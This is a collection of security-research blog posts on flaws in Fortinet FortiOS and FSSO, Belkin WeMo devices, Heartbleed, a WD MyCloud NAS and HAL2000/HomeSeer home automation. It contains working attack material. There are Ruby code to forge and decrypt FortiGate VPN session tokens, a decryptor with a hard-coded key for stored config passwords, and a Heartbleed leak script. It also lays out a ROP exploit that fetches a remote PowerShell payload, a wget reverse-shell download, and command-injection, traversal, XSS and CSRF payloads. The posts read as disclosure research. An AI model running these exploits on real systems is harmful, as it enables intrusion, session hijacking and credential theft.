Bad Crypto

After figuring out how to unpack the binaries in FortiOS (covered in my last post), I noticed most of the functionality is provided by /bin/init, and all other daemons are just symlinks to that one file. So I followed my first instinct and loaded it into IDA.

The first thing one notices is all the xrefs to strcpy and sprintf. Yeah, thar be 0-days. But let’s not get into that just yet.

After a bit of hunting for interesting OpenSSL function xrefs and looking for interesting strings, I noticed there are many hard-coded encryption keys. This isn’t a great practice, it means some aspects of the systems security are governed by “security through obscurity”. In other words, they’re hoping no one will check and see how it works under the hood.

Let’s start with SSLVPN. FortiGate has both web-based and thick client SSLVPN. From my Burp proxy logs, the authentication sequence goes something like this:

  1. The client browses to the FortiGate via HTTPS, and is redirected to /remote/login.
  2. The client issues a POST to /remote/logincheck and is redirected to stage 2 authentication, which appears to be a “host check”.  I’m guessing it has features to verify that AV is installed and that sort of thing.
  3. The host check URL is /remote/hostcheck_install.  It has a few parameters, some of which appear encrypted.

The interesting thing about the host check URL is that this is the URL that actually responds with the Set-Cookie header, issuing the user an authentication cookie. So if you can guess or brute force this URL, you get a valid session. Neat.

Let’s take a look at an example request:

GET /remote/hostcheck_install?auth_type=1&user=76706E75736572&&grpname=76706E&portal=66756C6C2D616363657373&&rip= HTTP/1.1

Okay, so the user, grpname and portal parameters are just hex encoded.  So user, for example, is “vpnuser” in ASCII. But what is the sid parameter?  Can we decode this?

As it turns out, I stumbled upon the code to decrypt the sid (and SVPNCOOKIE) by accident. I notice the string “c25*dc2$dgl#jp^” in the string table of the /bin/init binary, and my curiosity was peaked. After some extensive reversing, here’s some Ruby code to decrypt the sid values, and make new ones:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'

def get_cipher_key(s)
  sv_cookie_key1 = "\xdf\x19\x79\x86"
  sv_cookie_key2 = "\x38\xba\x40\xdf"
  sv_cookie_hkey = 
    "\xcd\xf1\xfb\x45\xdc\x85\x37\xba" +
    "\x9d\xce\x58\x45\xc7\xb0\x9e\x62" +
    "\x46\x2a\x2a\xb0\xec\x15\x5b\x5b" +
  hmac = OpenSSL::HMAC.digest('sha1', sv_cookie_hkey, s)  
  ks = sv_cookie_key1 + sv_cookie_key2 + hmac[0,8]
  iv = hmac[0,16]
  [ks, iv]

def encode_sid(sid)  
  secret = "c25*dc2$dgl#jp^"
  sid += OpenSSL::HMAC.digest('sha1', secret, sid)
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

def decode_sid(sid)
  sid = sid.scan(/../).map { |x| x.hex.chr }.join
  secret = "c25*dc2$dgl#jp^"
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

puts decode_sid(ARGV[0])

You might be wondering — what’s up with the get_cipher_key function? I think this is their crude attempt at obfuscation. The translation to ruby is fairly literal, so I left this as is. But yes, they actually derive the key at runtime, to make my life a little more interesting.

If you run the script with a valid sid parameter as an argument, you should get similar output to the following:


Neat. So it appears each value is encoded with a 4-digit length field, then the value. The vaules seem to be serial number, username, user group, portal name, IP address, some zeros (probably the realm), a “1”, and the epoch time stamp (twice). Wait… all of this is simple to brute force!

I’ll leave the implementation of a brute force script to the reader, but yeah, it works. There is very little entropy in the sid token. The serial number of a remote FortiGate is simple to obtain. Many of the self-signed certificates on the system set the CN to the serial number, so in most cases it’s as easy as “echo “” | openssl s_client -showcerts -connect <ip address>”.

If that doesn’t work, try spoofing a CAPWAP packet — but that’s a story for another day.

The unix epoch time can be iterated over the last hour or so, and the source address may be known if the target can be observed. NAT means that any person logging in via an airport of coffee shop network has a known source IP. And if you already have credentials to the VPN and just want to login as a different user (with more favorable permissions), it’s dead simple.

While that’s pretty cool, are there any other obvious examples of bad crypto? Another thing that caught my eye is encrypted passwords in the config. Now passwords for admin users are stored using a hash, albeit a weak one (Hashcat will crack the hashes that start with AK1), it’s still not simple to reverse. But take a look at the passwords for other system users:

config user local
 edit "vpnuser"
  set type password
  set passwd-time 2015-09-02 11:45:00
  set passwd ENC XR/8Zk1ztvCtvMCrFT661civgZ3XxLZR0aWUuKCMGYVOk0KXpo41RnA5w/jkY76FzX3bTVWaehMTMypDO0s68a2SVApPvWAUXJKJZsUrU0RKyxa279fBcvVuM6TVYFvOa/INexHo99zbneHEr2O14tyxt5RGLPlVobWMgpJuJTFF1b5UDSbRc5hoS1/4ERHvi+Vazg==

It turns out these are reversible. You can tell because values such as IPSec PSKs (which need to be known in cleartext) are encoded this way. So after some more reversing, I figured out the encryption scheme:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'
require 'base64'

iv, text   = Base64.decode64(ARGV[0]).unpack("a4a144")
cipher     ='des-cbc').decrypt
cipher.key = "\x34\x7c\x08\x94\xe3\x9b\x04\x6e"
cipher.iv  = iv + "\x00" * 4

pass = cipher.update(text)
eos = pass.index("\x00")

if eos && eos > 0
  pass = pass[0,eos]

puts pass

If you run the code above with the base64 value from the config snippet above, it will decrypt to the value “password”.

The moral of the story is this: don’t use baked-in encryption keys. Use hashes (strong ones) when possible. If that isn’t possible, create keys from random numbers (with good entropy). If that’s not possible, derive keys from a configurable master pass phrase. But don’t ever bake it in and hope no one will reverse engineer your code.

Fortinet FSSO Exploits

In my last post, I fuzzed FSSO on port 8000 with Peach fuzzer to replicate the exploitable overflow discovered by Enrique Nissim of Core Security.  It turns out that the DC Agent service on UDP port 8002 also has an exploitable overflow that seems to have been patched after build 143.  In this post we’ll present an exploit for each of these issues.

DCAgent Protocol

The DCAgent protocol is a collector service that aggregates login events from other domain controllers.  There is no authentication and it’s transported over UDP.  We’ll ignore the obvious security flaw here — anyone can send a UDP packet and will be authenticated in FSSO as any user they choose.  Instead we’ll fuzz the service and see if we can find an exploitable crash.

To get an idea of the various fields in this protocol, you can download the Peach Pit from github.  It’s basically a header and trailer with a login record encapsulated within.  The login record is comprised of the user’s IP address and their “DOMAIN\user” AD username.

Fuzzing this protocol on build 143 results in some fairly obvious stack overwrites:

eax=00000000 ebx=75e89894 ecx=00000000 edx=11a9f744 esi=75ea47ad edi=75e8dbeb
eip=41fffe41 esp=11a9f848 ebp=1c6fcf60 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41fffe41 ?? ???

ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
11a9f844 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f848 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f84c 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f850 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f854 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f858 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41

This appears to be triggered by overflowing the IP address string field in the login record, resulting in direct return address overwrite. Why they wouldn’t use /GS and SafeSEH (not to mention ASLR) on a service providing authentication is beyond me.

The first step towards developing a stack buffer overflow exploit is figuring out the buffer offset to the EIP overwrite.  I used Metasploit’s pattern_create/pattern_offset utilities for this purpose.  This provided reliable control over EIP.

Unfortunately, there is still DEP to contend with.  Normally, when DEP is combined with ASLR, it forms a fairly robust defense against stack buffer overflow exploitation.  DEP is opt-out on Windows 2008 and Windows 2012 Server, so it is enabled by default.  ASLR, on the other hand, is opt-in.  It requires that the libraries and binary are relocatable.  In the FSSO service, both collectoragent.exe and ssleay32.dll are not relocatable and no ASLR is applied to these modules.

Without ASLR, we can reuse existing pieces of the code contained in non-ASLR modules so that we are not required to directly execute code from the stack.  This can be accomplished by using a ROP Chain.  There are a few other issues however.

First, we have very limited buffer space since the exploit must fit in a small buffer within a single UDP packet.  This means we have to keep the ROP chain quite small.

Second, at the point of EIP overwrite, our buffer has been modifed — all lower case characters have been converted to upper case.  Normally this would make exploitation very difficult since it’s nearly impossible to build a ROP chain without any lower case characters (it’s tricky enough to build a ROP chain in the first place).  Using the debugger, I discovered that the original buffer is still on the stack.  We’ll have to adjust ESP through a phase I ROP chain in order to pivot to the unmodified buffer.

Third, we can’t use nulls since the exploitable condition is a result of a libc string handling function, probably an sprintf or strcpy (I haven’t actually checked).  To make things even more fun, we also can’t use the forward slash (byte value 0x2f) because this is the delimiter between the IP Address, domain and user name.  These values, 0x00 and 0x2f, are so-called bad characters.

The ROP Chain

Given the constraints above, I decided to keep things simple (or hacky, depending on your perspective).  I’ll use a short chain to call WinExec.  WinExec will launch a short snippet of Powershell code, which will call back to our web server and pull down a Powershell payload.

The WinExec function isn’t present in any of the non-ASLR module’s import address tables (IATs), so we’ll have to use an offset from a Kernel32 export present in the IAT.  I’m using GetTimeZoneInformation for this purpose, which is probably not a great choice.  The caveat with using a delta is that we must use hard-coded values.  The delta between the GetTZInfo function and WinExec is Windows version specific and it often changes between service pack or even between security updates.

Strictly speaking, we also can’t use a hard-coded delta since this contains nulls, instead we must use the binary 1’s complement in the actual ROP chain and hope that it doesn’t contain any bad characters.  I’ve included most of the magic values for versions of the kernel32.dll used by Windows Server 2008 R2 and 2012 R2 in the exploit.  If I missed a version you’d like to test with, use this short stand-alone Ruby script to generate magic values for kernel32.dll.  I admit it’s a bit of a kludge.

The PoC exploit, complete with ROP chain, is available on github here.  This issue seems to be patched after build 143.

FSSO Exploit

Now that we have a working ROP chain we can plug that into the FSSO exploit and it should just work.  Again we’ll need to use MSF pattern_create/pattern_offset to find the EIP overwrite.  For our exploit, this is at 96 bytes into the serial number field of the FSSO packet.  We can simply start the ROP chain right at offset 96.

You can find the PoC exploit for FSSO on TCP port 8000 here.  This issue is patched in build 237, but the ROP chain currently only works up to build 143 due to changes in the OpenSSL libraries (feel free to tweak if you need to pop build 161).

Next Steps

While the DCAgent overflow requires such a convoluted ROP chain due to bad characters and space limitations, the FSSO overflow does not have these limitations.  It is triggered via a bad memcpy into a stack buffer, so nulls are allowed.  If I have time I’ll write a new ROP chain for that exploit in order to make it more portable (or at least not Windows version specific).  Until then, happy exploitation!

New Belkin WeMo Module

On April 4th I posted a module to enable the telnet service on the Belkin WeMo Netcam.  It turns out that the WeMo Switch has the same vulnerability, but doesn’t have telnetd. Or chmod. Or a lot of other things that would help with exploitation. To make matters worse, the firmware is GPG encrypted so you can’t poke around to see what’s available.

I found a way around this: by downloading a MIPS ELF reverse shell using wget. The good folks at Rapid7 wrote about this strategy when the Linksys e1500 “apply.cgi” module was created.

One disadvantage when looking at my target is that chmod isn’t available. To skirt around this, I copied the iwpriv executable from the bin directory into the tmp directory using a random file name. I then overwrote that file so the payload assumes the same permissions (+x). This is a simple trick that I’ve used with success quite a bit in the past.

I wrote a new Metasploit module for this and it is available here.

I love the idea of getting a shell on a power outlet. It’s so cyperpunk — I’m sure Gibson and Stephenson would be proud. In the next post I’ll take a look at post exploition — IoT style.

Update: If anyone wants a public/private GPG key pair for the WeMo, I’ve taken the liberty of making Belkin’s available for download here.  You can download firmware images from and decrypt them using the provided keys.  Once decrypted, Binwalk is your friend.

Dear Hackers: You Win

I must admit I’m writing a Heartbleed post mostly because I feel obligated. In case you’ve been living under a rock for the last week, Heartbleed is the name given to a critical information disclosure flaw in OpenSSL. It allows you to read some pretty neat stuff out of server memory. My anti-sec split personality wants to believe that this awesome but unfortunately I do have a day job. And let me tell you, this sucked a lot.

I first learned of the bug in the afternoon of Monday April 7th. I immediately downloaded the source tree for OpenSSL 1.0.2-beta1. To exploit the issue, I only had to edit one line of code:

In t1_lib.c, line 3907, change to:

s2n(65535, p);

Done.  Just run ./config and make. That’s it.

Now I needed an OpenSSL client to send a TLS heartbeat to an affected server. Luckily, OpenSSL comes with a binary called openssl, which supports an operation called s_client.  See the Man page for details. I created the following bash script (quick and dirty) called as a wrapper for the s_client operation:

{ echo "B"; cat; } | apps/openssl s_client -tlsextdebug -msg -connect $1:$2 2>&1 | ruby heartbleed_decode.rb

Note the use of the “B” character.  Little known fact: sending a “B\n” to the openssl s_client triggers the sending of a TLS heartbeat.  This is enough to exploit the issue.  Still, we need a decoder to convert the hex bytes we receive from the openssl -msg debugs into printable ASCII.

The heartbleed_decode.rb script contains a really rough decoder script:

#!/usr/bin/env ruby

output = false
STDIN.each do |line|
  if output
    if line =~ /( [0-9a-f]{2}){16}/
      line.scan(/[0-9a-f]{2}/).each do |m|
        stripped = m.force_encoding('BINARY').strip
        unhex = stripped.gsub(/([A-Fa-f0-9]{1,2})\s*?/) { $1.hex.chr }
        print unhex.gsub(/[^[:print:]]/, '.')
  output = true if line =~ /HEARTBEATING/

Not great, but it will do the job. It seems to be more reliable and leaks many more bytes than any other PoC code I’ve used.

To test, I ran it in a loop and scanned the public IP blocks of the organization I work for. And then I laughed, gasped, whimpered and cried a little. I found cookies, VPN authentication tokens, user credentials, internal network information, email snippets, private keys, certificates.

If you’re not in the field of information security you may have trouble understanding my mental state at that moment.  Imagine for second that you’re a doctor. You are working tirelessly to cure cancer. You have invested 40 years of your life in pursuit of this goal — attended a prestigious university, wrote a PhD thesis, published many books — and you are now working at the cutting edge of your field. And then one day, you wake up in the morning to discover that 60% of the people in the world have died from the common cold.

As an industry, I’m not sure where we go from here. Not because we had a bad week, but because it took 2 years to notice this bug. And we can’t blame the person who committed the code or the maintainers of the OpenSSL project.  They’re a small team who receives very little financial support despite their heroic efforts to produce a very complex piece of software. They have many valid reasons for this oversight. But what about the people who use this software — or better yet — make money from this software? To all the network and security appliance manufacturers who have leeched from the open source community for years: What’s your excuse?

Universal Plug and Fuzz

Earlier this week I bought a Belkin Netcam HD web camera.  It’s probably the most insecure device I ever tested, or even heard about. With the firmware that comes pre-loaded, the telnet service is wide open as root. There’s also an undocumented web interface. The default password is admin:admin, and it’s hard coded.  This means that regardless of how the user sets the device up, an attacker can simply browse to /apcam/apcam/jsstream.asp and watch the video stream.

These issues were reported to Belkin and are fixed in the latest firmware. In the new firmware release, the web administration pages are gone and telnet is disabled. There may be some vulnerabilities left there, but I decided to look at another vector instead: Universal Plug and Play. Belkin WeMo devices are controlled by UPnP, and it appears that the Netcam supports the full WeMo UPnP API.  This makes the attack surface fairly large and manual fuzzing a bit cumbersome.

UFuzzlogoWith that in mind, I’ve created a new UPnP enumeration and fuzzing framework, called UFuzz (Universal Plug and Fuzz). Since the readme in the github repo is pretty short, this seems like a good time to see how UFuzz works.

In order to fuzz the Belkin Netcam, simply configure the device to connect to your wireless network, and issue the follow command to start UFuzz:

./ufuzz -u -v 4

The -u option starts UPnP mode, and the “-v 4” option changes the verbosity to TRACE. This allows us to see the requests and response summaries during fuzzing.

When UFuzz starts, it will broadcast an MSEARCH via UDP to discover all of the devices on the subnet. It will then download and parse of the XML service description files. Next, template requests will be created for each service accessible via UPnP. It’s a bit dumb right now, so it just uses “1” as the default value for each parameter (though you’re welcome to make it smarter).

Finally, it iterates through each parameter using different fuzz values to produce a fault. A fault in UFuzz can be excessive time delay, as is the case for command injection and blind SQL injection payloads, or the target can be instrumented via telnet, serial or syslog to detect exploitable crashes.  Some example modules have been included for telnet and serial monitors.

I should mention that UFuzz isn’t just a one trick pony. It can also fuzz Burp proxy logs. This raises the obvious question — Why not just use Burp to detect these issues? Burp is a fantastic web security scanner, but it doesn’t detect a lot of issues specific to embedded systems. For example, if I send a long string of A’s to a specific parameter, it could cause a buffer overflow in the HTTP server or another binary that the HTTP server calls. The server might even answer with a “200 OK” in certain scenarios. By instrumenting the system, we can check logs or serial output for strings like “SIGSEGV” and log appropriately.

In the time it’s taken to write the above paragraphs, UFuzz has found another bug in the Belkin Netcam:

[2014-04-04T16:13:43-07:00 EVENT DETECTED] cmd injection - possible cmd injection - "`ping -c 10`": delay 9.18

Turns out that’s not a false positive. You can try it out yourself with this Metasploit module. I should also mention — it’s quite possible this affects all Belkin WeMo devices. If someone has a WeMo switch, please try it and let me know.

Until next time, happy bug hunting!

Get Off Of MyCloud

I bought a 4TB WDMyCloud NAS the other day, and dare I say, it’s a beautiful piece of kit.  Inside you’ll find a 1.2GHz dual-core ARM processor with 256M of RAM, running Linaro Ubuntu.  You can enable SSH via the web admin page and the default credentials are root:welc0me.  Props to WD for making this a great box for DIYers.

The web interface is implemented in PHP using the Orion framework.  It’s RESTful API supporting the full gamut of HTTP verbs including GET, POST, PUT and DELETE.  The overall quality of the web interface is not something you usually see on embedded consumer-grade devices.  Also, it looks pretty fantastic.


This device has a few interesting features, some of which I’m still exploring.  It uses UPnP to tunnel ports 80 and 443 through your home router automatically.  This means you can access it from the Internet.  Luckily, WD was smart enough not to allow access to the full RESTful API from the Internet though; they included code to check $_SERVER[‘REMOTE_ADDR’] and make sure it’s on the same subnet.  There is a WebDAV interface accessible however, so that mobile devices and their thick client can access it remotely.

You can check for these devices via Shodan by searching for the Etag header value of e1-4e533dd6020c0, which yields 27225 devices at last count.  With an average capacity of 2TB, this implies that if you can compromise these devices remotely you get a cool 54 Petabytes of cloud storage (and one hell of a botnet).

I did a quick scan of the source after I enabled SSH access and found an interesting flaw.  In order to configure features such as new shares, users and other Linux features, they call out to a system shell using an exec wrapper function named exec_runtime.  You can grep the source on the box with a quick “find /var/www -name *.php -exec egrep -Hn ‘exec_runtime’ {} \;”.  What’s interesting, is that variables are passed to shell scripts using string interpolation with no escaping.  This means that nearly every single call to this function is vulnerable to command injection.

This vulnerability gets worse for two reasons.  First, www-data is in the sudoers file:


That’s not great.  Second, this bug exists in the language selection API call, which is accessible before authentication.

In order to exploit the issue, you must use a PUT request to the vulnerable URL at /api/2.1/rest/language_configuration?language= and use backticks to inject a shell command.  We’ve already established that we cannot access this API from the Internet (at least not directly), and we cannot use a PUT request to trigger a CSRF without CORS cooperation.  This last point probably needs some explanation.

If you issue an XMLHTTPRequest with the PUT verb on a modern browser, it will issue an OPTIONS request with the header “Access-Control-Request-Method: PUT” before the PUT request is made.  This is specifically designed to prevent CSRF issues from occurring with PUT requests.  Most web frameworks provide a convenient way around this due to the fact that old browsers (IE mostly) cannot make PUT requests (XHR or not).  In this case, we can use a GET request with the extra parameter of rest_method=PUT in order to simulate a PUT request.

One thing that prevents CSRF from being widely exploited in general is that you must know the IP address or hostname of the CSRF target beforehand.  For internally hosted resources, this generally requires some insider knowledge.  The WDMyCloud is a NAS though, and as such it advertises it’s DNS name by default so that users can see it in Mac Finder and Windows Explorer.  So in our case, this is not an issue (unless the user has changed the name).

With all this in mind, I’ve written a Metasploit module to exploit this vulnerability via CSRF.

My research is still ongoing and there are likely other issues.  If we can find an SSRF, XXE or RFI vulnerability somewhere, it may be possible to trigger this issue remotely over the Internet.

Update: Western Digital fixed this issue in version 03.04.01-219. Great job WD, that was quick.

Old School Home Automation

While the home automation is steadily moving towards embedded devices (the so-called Internet of Things), it wasn’t always this way.  In fact, two of the more popular home automation applications run on Windows.  They’re clunky Visual Basic apps with outdated web interfaces, but they still have a following due to their broad protocol and device support.

The first platform I examined was HAL2000.  This is a VB app that uses the Dart web server to provide the user access to the FoxPro database backend, and middleware for controlling the various home automation sensors and controllers.  As you can see, it’s pretty sexy:


Okay, not so sexy.  Still HAL2000 is very feature complete though, and sells for only $249.  You can also buy a HAL2000 appliance for a mere $2499.

HAL2000 has many issues.  A quick scan yielded 23 XSS vulnerabilities, and it’s also vulnerable to CSRF.  I also found a probable SQL injection issue, but I have no idea who to exploit SQLi in Visual Foxpro, so that’s tentative.  You can also download database files and logs with direct browsing, such as /WHAT.DBF or /log/DART24012014.log, so there’s really no need to exploit SQLi.  Still, nothing really that interesting.

I almost gave up scanning, then decided to do some manual testing.  HAL2000 has a login form and authenticated sessions are maintained with the DartSession cookie which normally contains a GUID looking value.  As it turns out, if you set this cookie to DartSession=1, it just works.  I have no idea why, but we’ll call that a win.

Second up to bat is HomeSeer.  It’s a VB.NET app with a web front end, and the middleware seems to be implemented as ActiveX controls.  It also sells for $249.


HomeSeer HS3 is pretty bad, security wise.  It uses HTTP basic auth, and the default username is “default”.  Authentication is not enabled by default.  Even if it is, it should be fairly simply to brute force the “default” account.

The list of vulns is a who’s who of web exploitation:

Directory traversal:
GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

GET /EventLog4ad93<script>alert(1)<%2fscript>988899b0c82


File system browser at GET /test

Stored XSS:
Setup -> Custom -> Custom Page Title
(Executed on every page load)

And finally, remote code execution.  If you navigate to Tools->Control Panel, you’ll see a dialog for a script command.  One of the scripting commands is hs.Launch, which as the name implies, will launch an executable.  I’ve taken the liberty of packaging this up into a Metasploit module which works with Windows 7 and higher (it uses powershell).  You could exploit this on Windows XP easily too though.

I hope you enjoyed this journey into old school home automation software.  In future posts, we’ll look at new school home automation and a lot more.